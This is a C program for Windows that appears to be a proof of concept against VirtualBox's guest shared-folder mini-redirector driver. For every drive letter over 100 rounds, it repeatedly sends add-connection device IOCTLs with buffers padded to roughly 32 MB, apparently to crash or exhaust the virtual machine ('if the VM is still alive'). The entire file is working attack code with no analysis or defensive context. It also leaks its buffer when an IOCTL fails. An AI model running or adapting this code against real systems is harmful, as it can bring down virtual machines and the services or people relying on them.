#include <windows.h>
#include <stdio.h>

#define IOCTL_MRX_VBOX_ADDCONN \
    CTL_CODE(FILE_DEVICE_NETWORK_FILE_SYSTEM, 100, METHOD_BUFFERED, FILE_ANY_ACCESS)

int wmain(void)
{
    HANDLE h = CreateFileW(L"\\\\.\\VBoxMiniRdrDN",
                           GENERIC_READ | GENERIC_WRITE,
                           FILE_SHARE_READ | FILE_SHARE_WRITE,
                           NULL,
                           OPEN_EXISTING,
                           0,
                           NULL);

    if (h == INVALID_HANDLE_VALUE) {
        wprintf(L"Open failed: %lu\n", GetLastError());
        return 1;
    }

    wprintf(L"Opened device successfully.\n");

    // Template: we’ll patch the drive letter at the 'X'.
    wchar_t connTemplate[] = L"\\Device\\VBoxMiniRdr\\;X:\\vboxsvr\\sf";
    const size_t letterOffset = wcslen(L"\\Device\\VBoxMiniRdr\\;"); // index of 'X'

    // Extra size: 512 * 0x10000 ≈ 32 MB on top of the base path length.
    const DWORD extra = 512 * 0x10000;

    DWORD bytesReturned;

    // Outer loop: try all letters to really stress things.
    for (int round = 0; round < 100; ++round) {
        wprintf(L"Round %d starting...\n", round);

        for (wchar_t letter = L'Z'; letter >= L'A'; --letter) {
            connTemplate[letterOffset] = letter;

            const wchar_t *conn = connTemplate;
            DWORD baseSize = (DWORD)(wcslen(conn) * sizeof(wchar_t));
            DWORD size     = baseSize + extra;

            BYTE *buf = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size);
            if (!buf) {
                wprintf(L"[!] HeapAlloc failed\n");
                CloseHandle(h);
                return 1;
            }

            memcpy(buf, conn, baseSize);

            BOOL ok = DeviceIoControl(h,
                                      IOCTL_MRX_VBOX_ADDCONN,
                                      buf, size,
                                      buf, size,
                                      &bytesReturned,
                                      NULL);

            if (!ok) {
                DWORD err = GetLastError();
                wprintf(L"DeviceIoControl failed for %c: %lu\n",
                        letter, err);
                break; // no point spamming if this letter stopped working
            } else {
                wprintf(L"%c round=%d size=%lu OK\n",
                        letter, round, size);
            }
      

            HeapFree(GetProcessHeap(), 0, buf);

            if (letter == L'A')
                break; // prevent wraparound if wchar_t is unsigned
        }
    }

    wprintf(L"Done (if the VM is still alive).\n");
    CloseHandle(h);
    return 0;
}